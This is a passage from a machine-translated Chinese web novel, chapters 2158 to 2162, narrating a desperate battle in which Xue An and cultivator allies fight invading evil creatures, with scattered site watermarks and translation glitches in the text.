    Accompanied by these sounds of cynicism and sarcasm, the brilliant masterpiece of this bronze gate, and then many weird figures appeared in this brilliant.


    Without exception, these figures are very tall and weird, and they are extremely terrifying.


    But it was a few celebrities who led the way.


    The reason why they are said to be humanoid evil creatures is that apart from their similarities in face and form to the human race, no matter the power on their bodies or the monstrous evil spirits in their eyes, they have nothing to do with people.


    And the appearance of these evil things made the atmosphere in the battlefield more tense.


    Even the powerful people who originally guarded the earth rushed to alleviate this pressure.


    Zhuge Zang''s complexion was extremely solemn, "This is the real evil thing from the outside world. The previous ones were just cannon fodder to consume our strength!"


    "Yes! That''s why the real battle is next!" Tianzhe on the side also said very solemnly.


    "What? God, are you scared?" Ye Hanchang turned his head and glanced at Tianzhuna.


    "Bah, when have I been afraid of Tianzhe?"


    "Haha, just don''t be afraid!" As he said, Ye Hanchang turned his head to look at the many evil things that were shrouded in the evil spirits, and muttered with a voice that only he could hear.


    "Sister, after this war, I don''t know if we still have a chance... meet again?"


    Before he came, he handed over all matters concerning the ghost world and alchemy **** to his sister Wei Qingxiao.


    It was because he had a faint hunch at the time that this battle is likely to be overwhelming, even as the immortal king himself, it is very likely that he will not be able to return.


    And not only him, many people have secretly made up their minds at this moment to put life and death aside.


    But when the atmosphere in the audience became very solemn, Xue An still looked calm and looked at these evil things on the opposite side with cold eyes.


    "Is that you? Are there any more?"


    This question caused a commotion among the evil creatures.


    One of the "women" who looked extremely charming looked at Xue An greedily, and then licked his lips.


    "Why? Are we not enough? Or do you have such confidence in yourself?"


    Xue An smiled coldly, and then slowly drew out the Tianzhu sword, the tip of the sword pointed diagonally at the ground, and said lightly: "Stop talking nonsense, let''s go together!"


    This attitude instantly angered many evil things.


    "Jie Jie, do you really think it will do if you hurt a Hydra? You are too arrogant!"


    But this woman''s eyes are full of brilliant colors.


    "Tsk tsk, it really deserves to be the existence of severely wounded Hydra, it is really interesting! It must taste very good."


    Her voice is very soft and charming, but it makes people feel a kind of inexplicable mania in her ears.


    After hearing these words, the Hydra''s face instantly became extremely ugly, "Silent Banshee, don''t you **** make waves at this time, okay, get rid of him quickly, understand?"


    "Glitter, okay, it''s not my turn to tell you what to do, just take care of yourself!"


    "you����."


    Hydra is about to attack.


    I saw the silent banshee''s figure flashed, and then quietly appeared in front of Xue An.


    "Brother, come, put down the sword in your hand, how about sister taking you to bliss?"


    The glamour in the voice is almost at its extreme, and the temptation is so strong that many people around with less determined power immediately fall into boundless desires.


    But Xue An wasn''t impressed by this, but sneered.


    "Essence? Let me save you to Essence!"


    Following the voice, the Tianzhu sword in Xue An''s hand stabbed out.


    This sword was unremarkable, without the slightest brilliance revealed, but the power it contained was actually extremely strong.


    At least this Silent Banshee didn''t dare to grab its front lightly, but dodged to Xue An''s side, and then said in an extremely resentful tone.


    "Woo, brother, why are you so cruel to the slave house?"


    Xue An didn''t say a word, flipped his wrist and smashed his sword straight to his side.


    Bang!


    The Tianzhu Sword pierced through the woman''s body but in the next instant, the woman turned into a cloud of smoke.


    Then he heard a sweet smile coming from the smoke.


    "Little brother, since you are so confused and even ignoring me, then I will let you never see anything else!"


    When the words fell, a finger was stretched out of the smoke and tapped somewhere in the void.


    "Visual, peeling!"


    In an instant, Xue An felt dark in front of him, and then he could no longer see anything.


    "Gluck! Can you change your mind now?" A coquettish face appeared in the smoke and leaned in front of Xue An.


    Xue An didn''t panic at all. Although he couldn''t see it, the Tianzhu Sword pierced directly, crushing this face with extreme precision.


    "Huh, I really don''t know how to repent until I die! Then I will play with you! Hydra, what are you guys doing in a daze, do it together!"

 Chapter 2158： Life is like the first

    There was an angry voice from the silent banshee in the smoke.


    In fact, Hydra and many evil things are already doing it.


    Just when Xue An fought with this silent banshee and was deprived of his vision.


    Everyone on the battlefield was aware of the strangeness, and the Huye and Chu Wu and others who were nearby rushed here immediately.


    But as soon as they acted, they saw an old man with rat whiskers and a wretched face blocking the way.


    He bared his mouth full of big yellow teeth and quacked.


    "Don''t worry, your opponent is me!"


    "Go away!" Chu Wuxiang slammed a punch without hesitation.


    Boom!


    This punch was enough to shatter a mountain, but when he reached the old man, it suddenly stopped.


    Because at this moment, the brilliance of the old man''s eyes flashed, and Chu Wuxiang felt that his entire arm suddenly lost consciousness.


    He looked down and couldn''t help but horrified, because starting from his fist, a strange gray was rapidly spreading upwards, wherever he passed, the flesh and blood of his skin turned into rocks.


    This strange sight shocked his mind, but Chu Wuxiang''s reaction was not unpleasant. He did not hesitate to raise his other hand and slash it against his shoulder.


    With a click, this arm broke all at once.


    The moment it broke, the gray light had spread to the bottom.


    When there was a cry, his arm fell to the ground, breaking into gravel.


    At this time, many people couldn''t help taking a breath.


    Because this ability is really incredible.


    Just one face to face, the immortal king''s Xiu base Chu Wuxiang broke his arm to survive.


    The old man gave a weird smile, "The reaction is quite fast, I hope your next reaction can be as fast!"


    With that, he wrestled towards Chu Wu Sumo like a ghost.


    Chu Wuxiang clutched his broken arm and retreated quickly, and Hu Ye rushed over at this moment.


    "Old thing, look at your grandpa Fox''s greatness!"


    As he said, a foxtail came straight to the old man''s back.


    But the old man didn''t even turn his head, and the hair on the back of his head suddenly moved to the sides, revealing an ordinary face, and he smiled at Fox Ye.


    The gray light immediately spread from the end of this foxtail.


    Fox Ye was so frightened that the hair on the end of the fox''s tail fell off instantly, which was considered to be able to avoid the blow.


    And this is just the tip of the iceberg of the entire battlefield.


    Although most of the things they faced were ordinary evil things and didn''t have so many incredible abilities, everyone still felt extraordinary pressure during this battle.


    There is no other reason, it is because this evil thing is too powerful.


    In addition, all the high-end powerhouses have been dragged by the super evil things such as Hydra, and the situation on the entire battlefield has become precarious.


    The most obvious point is that people��s casualties have increased dramatically.


    Although there have been casualties in the past, they were basically only a small area, and they could all be controlled.


    But this time, people finally realized what is meant by blood falling like rain.


    What does life mean?


    The evil creatures are like cutting grass, frantically harvesting the lives of many powerful men.


    The monks below Da Luo were completely reduced to cannon fodder at this moment.


    Even Brother Da Luo just barely protected himself.


    Even Xue An was trapped in it.


    This kind of tragic scene stunned everyone who watched it.


    Above the earth, everyone put aside what they were doing and stared blankly at the scene on the screen.


    Many people have tears on their cheeks without knowing it.


    "Mom! What are these uncles doing?" a child who was ignorant and ignorant asked softly.


    "They... are protecting us!" the young mother choked up.


    At this moment, Li Jingxing on the battlefield smashed a huge evil object and shouted: "All the strong below Da Luo retreat immediately!"


    But no one responded.


    People are still fighting forgotten their lives.


    "Have you heard? This is an order!" Li Jingxing yelled anxiously.


    But still no one responded to him.


    Not only that, Li Jingxing also watched a young sword repairer burn up all his sword intent, and decisively threw himself into the evil group, and then detonated himself.


    Boom!


    After a muffled sound, several evil creatures fell to the ground, but this Jian Xiu also died.


    "Why are you so stupid! Go back!" Li Jingxing had never been so gaffe before, and even his voice trembled.


    "No need to persuade, no one will retreat!" A voice came from his side.


    Li Jingxing turned his head and looked around, but saw that Yuesha didn''t know when he appeared next to him.


    It''s just that the Yue Sha at this time has long lost the handsomeness of the past, and the monk''s robes are stained with blood.


    The key is that the golden wheel behind his head has been completely broken, only a little dim golden light still remains in his eyes.


    "Master Yuesha, you..."


    Yue Sha smiled and shook his head, "Sword Master Li, do me a favor and send me to the corner next to me!"


    Li Jingxing understood something, nodded deeply, then waved his hand, a sword light flew over most of the battlefield with Yuesha, and came to a corner.


    now.


    In this corner, a golden light is still blooming.


    It is Yingluo who enters Ding.


    These evil creatures seemed to be very taboo about this golden light, and all of them gave way to this corner.


    When Yuecha fell, he could not even stand.


    I could only struggle to climb in front of Yingluo, and then looked at the golden light lingering all over her body, Baoxiang''s solemn Yingluo, a smile gradually rose from the corner of her mouth.


    "Yingluo, I''m leaving now!"


    With that, he stretched out his hand to touch Yingluo''s face, but stopped halfway.


    Then he slowly clasped his palms together and chanted softly: "Nanwuwu Buddha, Yingluo, I will give you one last ride!"


    After all, an extremely bright golden light emerged from Yuesha''s body and turned into a huge Buddha seal, which was printed on Yingluo''s body.


    Yue Jing, who was fighting in the distance, suddenly noticed something. Huo Ran looked back and just saw this scene and couldn''t help but roar.


    "Junior Brother!"


    Amidst the boundless golden light, Chong Yuejing nodded with a smile of relief on his face, and then the back of the body suddenly collapsed and disappeared completely.


    There were blood and tears in Yue Ji''s eyes.


    But at this moment, the golden light on Yingluo''s body became brighter and stronger, and at the same time, there was a faint sound of Sanskrit singing from the lotus.


    The buddhas were stunned for a moment, and even if they folded their palms together, they exclaimed with joy.


    But at this time, no one noticed that a huge teardrop was slowly falling from the corner of Yingluo''s eyes, who was about to succeed in the preaching.


    "Another Bodhisattva is about to live!" Ao Yi sighed in the distance, and immediately joined the battle group again.


    At this moment, her huge dragon body was also scarred.


    At this moment, UU reading Huye suddenly appeared next to her, and said in a blunt tone: "You go and rest first, I''ll come!"


    He said that he replaced her.


    Ao Yi was taken aback, and then a bright smile appeared on his face, "No, your strength is not as good as mine!"


    "Nonsense, I am the Fox King!" Despite the yelling, the next second, Fox Night was blasted away by an evil object.


    "How? Are you okay?" Ao Yi shook the evil creature with a breath, and asked with concern.


    "Bah, baah, it''s okay! How come these evil creatures are getting more and more powerful? I don''t know what''s going on with Lao Xue!" Hu Ye said with a gray head.


    In fact, this is also the common aspiration of many people, because Xue An is now everyone''s expectation.


    If he does not show up, then this battle will definitely be lost.


    And at this moment, in the center surrounded by evil things, Xue An was still in the boundless darkness, fighting with this silent banshee.

 Chapter 2159： 5 sense deprivation

    Imagine, when all the light disappears in your eyes, as far as you can see, you see endless darkness.


    Do you feel desperate?


    This is what Xue An is facing now.


    Although his eyes were normal, he could not see any images.


    Not only that, but even his spiritual thoughts couldn''t see anything.


    It was as if the area of ??his brain responsible for processing images had completely disappeared, and it was all dark.


    Faced with this situation, most people would collapse at that time.


    Because 90% of the channels through which people receive information come from vision.


    Now that vision is suddenly deprived, this blow is enough to defeat anyone.


    But Xue An was calm and terrible. Although he couldn''t see anything, he didn''t panic at all. Instead, he held the Tianzhu sword and listened quietly to everything around him.


    Suddenly!


    The sword in his hand pierced at an extremely strange angle.


    puff!


    After a muffled noise, the silent banshee snorted, obviously injured by this sword.


    But soon, these voices disappeared.


    Then he heard the voice of the Silent Banshee ringing in Xue An''s ears.


    "Xue An, you are indeed powerful enough to hurt me even after being deprived of vision, but do you think this is enough?"


    But as soon as her voice fell, Xue An''s sword pierced out again.


    The location he stabbed this time was his own throat.


    At first glance, it seemed as if he was about to slay herself, but in a blink of an eye, Jian Feng wiped the skin on Xue An''s throat and then stabbed the Silent Banshee.


    At this time, the Silent Banshee couldn''t help being furious.


    "Xue An, this is what you asked for, hearing, deprivation!"


    boom!


    With a short and extremely muffled sound, Xue An''s ears suddenly became silent.


    This silence is different from ordinary silence, it is a dead silence that completely disappears even the smallest sound.


    Even the sound of blood flowing in his ears disappeared.


    Following the crowd to the battlefield, Yue Qinghuan, who had been hiding in the corner, couldn''t help raising his eyebrows slightly after seeing this scene.


    "Sight and hearing? Has this Silent Banshee actually cultivated a double sense?"


    Of course, only she can see all this.


    Others just saw Xue Anzheng standing silently in the battlefield, with a few hundred feet of empty space around him, seeming to be confronting something.


    Although you can''t see it, people know that this battle is absolutely dangerous, otherwise Xue An would not be indifferent to everything that happened outside.


    Mr. Xue, you have to come on!


    Countless people prayed silently in their hearts.


    At this moment, a cloud of mist suddenly appeared in front of Xue An, and then a seductive face appeared on it.


    It was the silent banshee.


    At this moment, she was also a little pale.


    After all, she was stabbed by Xue An several times. Although she dodged quickly, she also hurt her vitality.


    But after seeing Xue An standing with a sword in the distance, a smirk appeared on the face of the Silent Banshee, and she said loudly.


    "Xue An, aren''t you very good? Now that I deprive you of your sight and hearing, I see how good you can be!"


    As soon as this statement was made, the whole audience and the whole world were shaken by it.


    what?


    Deprived of sight and hearing?


    No wonder Mr. Xue has been standing there still!


    This means that Mr. Xue has fallen into a disadvantage?


    At this point in thought, many people''s hearts instantly raised their throats.


    Because at this critical moment, if you cannot see or hear, how can you fight this battle?


    really.


    Faced with the clamor of the Silent Banshee, Xue An remained motionless, like a wooden sculpture of clay.


    Seeing this, everyone''s hearts shrank instantly, but Hydra was overjoyed and immediately shouted: "What are you still doing in a daze? Take this opportunity to kill him!"


    The Silent Banshee turned her head and glanced at him coldly, and then said lightly: "Hydra, are you giving me an order?"


    Hydra shrank his neck immediately, and dared not speak.


    After all, he and the Silent Banshee are on the same level, and even in some aspects, the Silent Banshee''s strength is better than him.


    Under such circumstances, he naturally did not dare to be arrogant.


    The Silent Banshee sneered a few times when she saw it, and then turned her head to look towards Xue An, and exclaimed, "It''s a pity that such a good skin bag is!"


    With that, she turned into a mist again and went straight to Xue An.


    "Be careful, dad!" Thinking and Niannian saw this scene through the lens, and couldn''t help shouting in surprise.


    On the battlefield, An Yan, Tang Xuan''er and others rushed here without hesitation.


    But with their strength, they can only be on the periphery of the battlefield at best. It is not easy to say that they want to reach the center of the battlefield.


    In just an instant, dozens of evil things stopped them.


    "Brother Ang!" Hu Ying screamed even more, and then shouted at her brother.


    "Fox Ye, save Brother An!"


    Hu Ye could only laugh bitterly when he heard the words, because at this moment he was uniting Chu Wuxiang and Tianzhuna, and the three talents barely managed to control this evil thing that could turn people into stones, how could they save Xue An? ?


    At the same time, this cloud of fog has rushed to Xue An.


    In an instant, everyone''s heart raised their throat.


    But before the silent banshee could move, Xue An suddenly raised his hand and stretched it forward as if he had noticed it.


    At exactly this moment, this silent banshee also showed a figure and was rushing forward. Under the action of the two phases, she seemed to be sent to the door, and took the initiative to rush into Xue An''s palm.


    The whole process is fast to the peak, but also to the peak.


    With just a moment''s attention, Xue An grabbed the silent banshee''s neck and lifted it into the air.


    There was a dead silence, but after just a few breaths, there was a burst of enthusiastic cheers.


    Many people have tears in their eyes!


    "Mr. Xue Niu X!"


    "Mr. Xue is invincible!"


    Even Yue Qinghuan''s face couldn''t help showing a slight smile.


    "Sure enough, I am a person I am optimistic about. After losing my dual sense, he is still so sharp!"


    At the same time, this silent banshee was firmly controlled by Xue An, with a look of horror on her face.


    "This����."


    Before the words fell, Xue An''s palm slammed hard.


    puff!


    The majestic force directly crushed the neck of the silent banshee, and at the same time the mist was crushed.


    Everyone couldn''t help but let out a sigh of relief.


    one way or another!


    This terrifying banshee finally died!


    No matter how powerful the ability is, UU reading www. As long as the caster dies, uukanshu.com will disappear with it!


    But at this moment, Yue Qinghuan suddenly noticed something, and a look of consternation appeared in his eyes.


    "What''s the matter? Could it be..."


    It seems to be to confirm her guess, even if the Silent Banshee was killed, Xue An''s double senses still did not recover.


    Not only that, but in the void not far away, a cloud of mist appeared out of thin air.


    Seeing this scene, the eyes of Hydra in the distance couldn''t help showing a thick color of hatred.


    But the brilliance disappeared in a flash, and soon returned to its original state.


    And just at this moment, the silent banshee''s icy voice contained infinite anger in the mist.


    "Xue An, you really surprised me! If it hadn''t been for the adults who gave me the infinite rebirth ability, I might have followed your way just now!"


    "But everything will pass, and so will you!"

 Chapter 2160： 9 state swords together, the decisive battle is at this time

    Following the voice, but seeing the mist, the figure of this silent banshee began to emerge.


    After experiencing a rebirth, she not only recovered from her injuries, but also improved her momentum.


    And when her figure completely appeared in front of everyone, she raised her hand and pointed at Xue An.


    "By my order, touch, peel!"


    "Smell, peel!"


    "Taste, peel!"


    In an instant, Xue An''s five senses were completely stripped away, becoming an isolated island completely disconnected from the outside world.


    Yue Qinghuan finally changed color and exclaimed in a low voice.


    "Five sense banshee! It is a silent banshee who has cultivated into the five senses!"


    The audience was even more sensational after a brief silence.


    "This is over! Mr. Xue, no matter how powerful he is, it is impossible to fight after the five senses are cut off!" Someone said desperately.


    "This female demon''s ability is simply against the sky. It can not only deprive people of the five senses, but can also regenerate infinitely. Is this the true strength of evil things?"


    Just as the audience was upset and uneasy, Li Jingxing suddenly shouted softly.


    "Everyone, get ready for a decisive battle!"


    As soon as this remark came out, the entire battlefield fell in awe.


    Because everyone knows that the battle has progressed to this point, it is no longer a simple life and death.


    Once the line of defense is lost, then the earth behind him, the sword palace star field, and even the entire sky will be overthrown.


    At that time, the blood of countless creatures will stain the entire void red.


    So everyone at this moment has no retreat.


    Because behind them is home!


    One after another, the decisive and brilliant brilliance lit up one after another in the crowd.


    That is the last strength that many monks are rising up.


    And this tragic scene spread all over the earth.


    Countless people have been infected by it.


    Some even cried bitterly.


    But when these evil things saw it, they laughed strangely.


    "Interesting, really interesting! This group of ants hiding in the small puddles actually tried to use their spiritual power to make themselves look strong. This behavior is really naive and ridiculous. After all, if the spirit is useful, what else does it have to do with strength?"


    There are no facial features on a head, but an evil creature with tentacles like trunks sneered.


    "What I like the most is that when these self-moving guys are swallowed alive, the look on their faces despite the extreme pain, but they dare not scream! That will make me excited directly!"


    The other evil creature with weird eyes was trembling even more.


    "Stop talking nonsense, kill them all, and then occupy the entire sky!" Hydra roared, and then the whole evil army rumbling over again.


    Li Jingxing looked at the rushing evil army with a calm expression, then took a deep breath and said slowly.


    "Masters, I can''t retreat now. The only plan for the present is a deadly battle. Fang Xian I am waiting for the sword to repair my true qualities, so let us leave this first battle."


    With that said, Li Jingxing took a step forward, "All Jian Xiu disciples listen to orders!"


    As soon as this statement came out, all the sword repairmen in the audience shouted: "Here!"


    The sound was thunderous and spread throughout the battlefield in an instant.


    Li Jingxing slowly drew out the saber he hadn''t used for a long time, pointed the tip of the sword straight forward, and shouted with cold eyes.


    "Get the sword!"


    boom!


    With an order, sword light burst into the crowd.


    "The old man washing sword Ye Bufan raises his sword!" Ye Bufan raised his head and walked out of the crowd, behind Li Jingxing.


    "Jiujian immortal Linghu must have a sword!" Linghu Juedong poured his last sip of wine, and then came to Li Jingxing with his head up and laughed.


    "San Xiu Qiu Yiye raised his sword!" Qiu Yiye, who was injured by 60%, walked out of the crowd with a pale face. Every time he took a step, the sword energy behind him would be fierce, and his eyes were bright and shocking.


    That is the light that burns life!


    "Walking with Three Swords, Jane raises a sword in his heart!" Jian Gong disciple, three swords floating above his heart, strode out.


    In an instant, the sword light was like a dragon, and the shouts came one after another.


    "Chenguangshan Ding Xiaochen raises his sword!"


    "Three Gu Sword Sect Gu Differentiating to play a sword!"


    "The grandson of the old man washing sword has a sword in the night sky!"


    No one flinched, all the sword repairers raised their heads, all bursting out the strongest sword intent of this life.


    At the same time, among the crowd, Tao Zhuxing suddenly appeared beside Fan Mengxue.


    "Fan...girl!"


    Fan Mengxue turned her head and looked around.


    Tao Zhuxing smiled shyly, "You''re not called Wangan, are you!"


    Fan Mengxue nodded, "My name is..."


    But before she finished speaking, Tao Zhuxing interrupted her, "Don''t tell me, I understand it!"


    Speaking of this, he suddenly smiled embarrassedly, "Before leaving, can I ask you something?"


    Before leaving, Fan Mengxue''s body was shaken by these two words, and then she nodded solemnly.


    "Speaking!"


    "Can you call me a bamboo shoot?"


    This request made Fan Mengxue stunned at the time, but immediately she reacted, just about to speak.


    At this moment, Tao Zhuxing suddenly laughed at himself, "Forget it!"


    Then he looked at Fan Mengxue very seriously and said softly, "Goodbye!"


    After that, he turned around and roared.


    "Tao Zhuxing, the young master of the Bamboo Sword Sect, take up the sword!"


    As soon as this statement came out, a few laughs came from those sword repairs.


    "Old Tao, I thought you were afraid to shrink back!"


    "Yes, I just thought you were scared to pee on your pants!"


    Tao Zhuxing laughed loudly, "Go away, as a sword repairman, my old Tao, why be afraid of life and death!"


    After saying this, he raised all his sword intent and flew to the sword repair camp.


    Seeing his distant back, Fan Mengxue was suddenly at a loss.


    It feels like watching a friend who is dying step by step, but you are powerless.


    At this moment, the evil army has already rushed to the front.


    Li Jingxing yelled, "Cut!"


    All the sword repairers shouted in unison: "Cut!"


    boom!


    The boundless sword light gathered together and turned into a torrent, rushing up with a decisive posture.


    Boom!


    The two collided in an instant.


    The sound of the evil being torn apart, accompanied by the falling light of the sword, mixed into a **** war song.


    Whether they were present or not, everyone was completely shaken by this extremely tragic scene.


    But seeing countless sword repairs, even though they knew they were going to die, they still rushed upward without hesitation.


    One sword!


    They often can only issue a sword, and then they are completely shaken by evil things.


    But even so, their sword power is still like a rainbow, and their sword intent is as fierce as fire.


    That was the last brilliance in their lives, but it was so brilliant, like a ray of light that pierced the darkness, moving.


    Seeing these sword repairmen who went to death generously, countless people burst into tears before they knew it.


    Fan Mengxue even covered her mouth with her hands, tears bursting.


    Because she finally understood what Tao Zhuxing said goodbye to her last!


    At this moment, UU read www.uukanshu. Huhuan com suddenly sighed, then slowly said.


    "Old Li is already on, so next, it''s our turn!"


    Speaking of this, he has always been tired and lazy, his face suddenly became extremely solemn, and the whole person burst out with the most powerful immortal emperor''s might.


    "Where are the Qingqiu Fox Clan and the demons!"


    "The disciple is here!" Hu Ye was the first to shout.


    "Dragon Ao Qing is here!"


    "Ao Yi is here!"


    "Blue Bird Arou is here!"


    "Fox Ying is here!"


    "..."


    In an instant, the sound of response resounded through the clouds like a mountain whistling a tsunami.


    Hu Huan nodded lightly, and then took a step forward.


    "Assemble the phalanx, ready to... attack!"

 Chapter 2161： Fight to the end

    After the first wave of attacks, countless sword lights fell like meteors.


    In an instant, the sword repairs that had been overwhelmingly damaged most of them.


    Even if he was as strong as Li Jingxing, he suffered several injuries at this time.


    The heaviest one almost shattered half of his body.


    Even so, he still didn''t flinch at all, but instead shouted.


    "Cut it again!"


    boom!


    All the sword repairmen burned their last strength one after another, converging into an awe-inspiring sword light, directly attacking the evil things ahead.


    But at this moment, the figure of Hydra suddenly appeared in front of the evil creatures, and he laughed strangely.


    "It''s really touching, but what good is it?"


    After speaking, he took the initiative to greet him and stopped in front of this sword light.


    Under the law of immunity to any second attack, the sword light quickly dissipated like ice and snow wherever his body passed.


    But at this moment, several huge foxtails suddenly appeared around him, and then shrank suddenly.


    Hydra was trapped in it, but he was not afraid, but sneered.


    "Hu Huan, are you so anxious to die?"


    As he said, he shook his whole body, and the majestic force was about to break free of the foxtail that bound him.


    But at this moment, a cold drink came.


    "Reverse Three Lives!"


    As soon as the voice fell, countless branches stretched out from the void, completely submerging the Hydra.


    The Hydra let out a loud roar, "Sansheng Tree! Why is there a Sansheng Tree here?"


    At the same time, the mighty army of monsters rushed to the front and replaced the sword repairmen.


    In front of Li Jingxing, Hu Huan''s figure gradually emerged and smiled coldly.


    "Nonsense, of course I dug it over!"


    Following the voice, he waved his hand and a towering giant tree instantly landed on the battlefield.


    It is the sacred object of the Qingqiu Fox Country, the Sansheng Tree!


    The Hydra was simply furious.


    Because he had been injured by these three-life trees and almost died, this time he didn''t expect to meet again here.


    And because of the special nature of the Sansheng Tree, he was not completely immune to its attacks.


    So for a time he was actually trapped alive by these three-life trees.


    Seeing this scene, Hu Huan couldn''t help but let out a sigh of relief.


    He had been worried just now that this assassin could not handle this Hydra.


    Now it seems that there is no waste of energy, as long as the hydra can be trapped, other evil things will be better dealt with!


    Upon seeing this, Li Jingxing couldn''t help being surprised, "Huhuan, when did you dug up all the Sansheng Trees?"


    Huhuan smiled, "I was ready before I came, how about it, I''m great!"


    Huhuan habitually stinks again, but Li Jingxing did not refute this time, but nodded seriously.


    "Awesome!"


    "Hahaha, it''s not easy to get you to admit that you are great! Old Li, you can withdraw, let us take the rest!"


    With that, Hu Huan stepped forward and shouted.


    "All the demons listen to the order!"


    "Have!"


    Huhuan vigorously raised his hand and pointed to the front, "Get all these **** and evil things back to his grandma''s house!"


    "Here!"


    Following the promise of the mountain whistling like a tsunami, seeing countless brilliance of different forms pouring down to the evil army like no money.


    Unlike the discipline that Jian Xiu used to attack just now, the demon of the heavens and the monsters under the command of Huhuan are elites from various races, and each of them has different attack methods and characteristics.


    Therefore, Huhuan did not insist on how the demons should attack, but let them play freely.


    And this method actually worked wonders.


    But seeing Guanghua passing by, countless evil things were wiped out before they could react.


    In an instant, after a wave of attacks, the army of evil creatures in front of them had been wiped out.


    Seeing this scene, the battlefield and even the whole earth uttered deafening cheers, as if seeing the dawn of victory.


    But before the sound of cheers fell, but seeing the brilliance flash in the bronze gate, countless evil things came out from it.


    In an instant, the number was ten times more than before.


    At this time, everyone was dumbfounded.


    Hu Huan, who was originally full of pride, exclaimed, "Fuck, is this **** endless?"


    And at this moment, the three-life tree suddenly began to wither, and then the countless branches suddenly collapsed, and then Hydra rushed out of it in a huff, shouting hysterically.


    "Kill! Kill them all! Leave none!"


    The evil army rushed again.


    An extremely solemn expression appeared on Hu Huan''s face, and Li Jingxing walked to his side.


    "What are you going to do?"


    "Nonsense, of course it''s cold!"


    Li Jingxing was silent for a moment, and then slowly said, "I''m here to guard, you still have time to retreat now!"


    After hearing this, Hu Huan glanced at Li Jingxing, and then chuckled lightly.


    "You let me be a deserter?"


    "No!" Li Jingxing shook his head, "I just want to save a little strength for the heavens!"


    "Okay, if here is lost, then even the entire heavens will no longer exist, and the power of a fart will be preserved!"


    As he said, Huhuan raised his head and sighed slightly, "Sorry, I didn''t expect my dignified nine-tailed fox, but today I have to explain it!"


    Li Jingxing smiled slightly, just thought of a word of comfort, but Hu Huan''s next sentence almost vomited blood.


    "The point is that people have their confidantes before they die. I''m not good. There is a big man by my side. What a pity!"


    Li Jingxing felt that his eyelids were beating vigorously, and he gave a cold voice, "Stop talking nonsense, do it!"


    After speaking, he rushed forward again.


    Huhuan stood there and looked at his back. He was always cynical, and for the first time a touch of sadness appeared.


    "Old Li, if you are destined, see you in the next life!"


    This time, there is no longer a distinction between Jian Xiu and Yaozu, because there are too many evil things on the opposite side, to the extent that it makes the scalp numb.


    So everyone stood side by side and formed a line of defense.


    Seeing this scene, everyone was silent.


    At this moment, Zhuge Zang, Ye Hanshang, Chu Wuxiang, and Tianzhe, who were scarred and scarred, looked at each other and then smiled freely.


    Zhuge Zang whispered: "The sword repairer has gone up, and the demon race has also gone up. Then it''s our turn!"


    "I don''t care, anyway, the family''s affairs have been taken care of, and you will die if you die!" Ye Hanshang chuckled lightly.


    Chu Wuxiang smiled, then scratched his scalp, UU reading completely ignored the path on his chest, and he could see the huge scar on his heart.


    At this time, Tianzhe thought of something, and whispered, "Miss Yan and others..."


    Zhuge Zang looked at An Yan in the distance and said lightly: "Tianzhana, let your apprentice take Miss Yan to leave the battlefield immediately!"


    "Will she agree?" Tianzhuna hesitated.


    Zhuge Zang took a deep breath and said slowly: "If you don''t agree, then take it away forcibly!"


    Tian Zhana nodded, and immediately contacted Fan Mengxue who was aside.


    Fan Mengxue was taken aback, but quickly nodded, turned and left.


    A moment later, there was a shout from An Yan.


    "No, I won''t go..."


    But before the words were over, Fan Mengxue sighed slightly, "Sister Yan, offended!"


    With that, she grabbed An Yan forcibly, then rose into the sky and flew towards the earth.

 Chapter 2162： The heavens weep blood, gods and Buddhas close their eyes

    And seeing this scene, the remaining strong men on the battlefield already knew what was going to happen next.


    I saw them gathering silently behind Zhuge Zang and others.


    Zhuge Zang said indifferently: "This is the end of the matter, and I have nothing to say. If there are people who flinch, they can leave by themselves now, and the rest, come with me!"


    As he said, he flew up.


    As for the rest of the crowd, none of them flinched, and they all flew into the sky with them.


    As if perceiving this scene, Zhuge Zang''s mouth showed a gratified smile.


    "It seems that Human Race, there is no guilty species!"


    boom!


    Their joining has made the war more intense.


    But even ordinary people can see at this time that the situation on the battlefield is heading for irreversible failure.


    Because these evil things are almost inexhaustible.


    What''s more, there are many high-level evil creatures with strange abilities.


    Above the earth, the atmosphere became extremely depressing.


    Thinking and Niannian had already reddened her eyes from crying, and had to go to the battlefield several times to find her father and mother, but they were all held back by the tearful fat aunt.


    At this moment, Fan Mengxue returned with An Yan, and then placed her on the chair of the Lao Xie Hotel.


    "Mom!" The two little girls rushed forward, only to find that An Yan could not move at all at this moment, and could not even speak.


    "What did you do to our mother?" Think about it angrily.


    Fan Mengxue whispered: "Don''t worry, I just controlled her temporarily. After three hours, the seal will be automatically released!"


    As she said, she smiled miserably at the fat aunt.


    "Auntie Fat, please leave here with Sister Yan and two little girls, the sooner the better!"


    Then she took out another jade pendant.


    "This thing can help you hide your breath, and it should help you avoid the search for evil things at that time!"


    After that, Fan Mengxue stood up and flew to the battlefield again.


    And just after she left, An Yan, who was trapped in a chair, had a drop of blood and tears dripping from her eyes.


    Aunt Fatty held the jade pendant in her hand, and she, who was crying silently, gradually showed determination.


    Suddenly, she turned around and took out a kitchen knife from the kitchen, put it in her bag, and then lifted An Yan on her back, holding the two little girls.


    "let''s go!"


    At the same time, in the Central Capital, the General Zhen Guo pressed a button.


    boom!


    In an instant, among the major military bases and certain mountains and rivers in the land of China, giant missiles began to appear.


    It is a special nuclear bomb!


    If the line of defense is lost and evil invades, it will also be the last deterrent for the earth.


    After all this was done, the general of the town country suddenly became much older, and he staggered and almost fell to the ground.


    "General!"


    The staff officer on the side rushed forward immediately, trying to help.


    The town general waved his hand gently, indicating that he was okay, and then said softly: "Open the arsenal, distribute weapons to the people, and then notify all the troops to prepare for the final deadly battle!"


    The staff''s eyes were red, and then nodded, "Yes!"


    Just when the whole earth has made the final preparations.


    On the battlefield, the most tragic scene since the start of the war also appeared.


    I saw the buddhas, headed by Maitreya and Yue Ji, sat in a row at the forefront of the battlefield.


    The brightest wheel of light appeared in the back of everyone''s head. These golden lights were connected to each other to form a great wall of golden lights.


    The evil thing impacted, these golden lights stayed still, giving everyone a rare opportunity to breathe.


    But everyone was a little silent.


    Because everyone knows what these Buddhist practices mean at this moment.


    "These monks... are they crazy?" Hu Huan said palely.


    "You don''t understand, this is their belief!" Li Jingxing said lightly.


    At this moment, the Hydra, which had already revealed its original form, rushed towards the golden light.


    Rumble!


    After a loud noise, a crack finally appeared in the Golden Light Great Wall, which had been unmoving.


    "Quick, retreat!" Hu Huan couldn''t help shouting when he saw this.


    But the stunned Buddhas did not seem to have heard them. Instead, they stood up one by one and rushed forward.


    A Buddha cultivator with golden light all over his body finally rushed to the hydra.


    Hydra grinned, "I hate bald donkeys the most. Give me death!"


    As he said, a snake''s tail drew over.


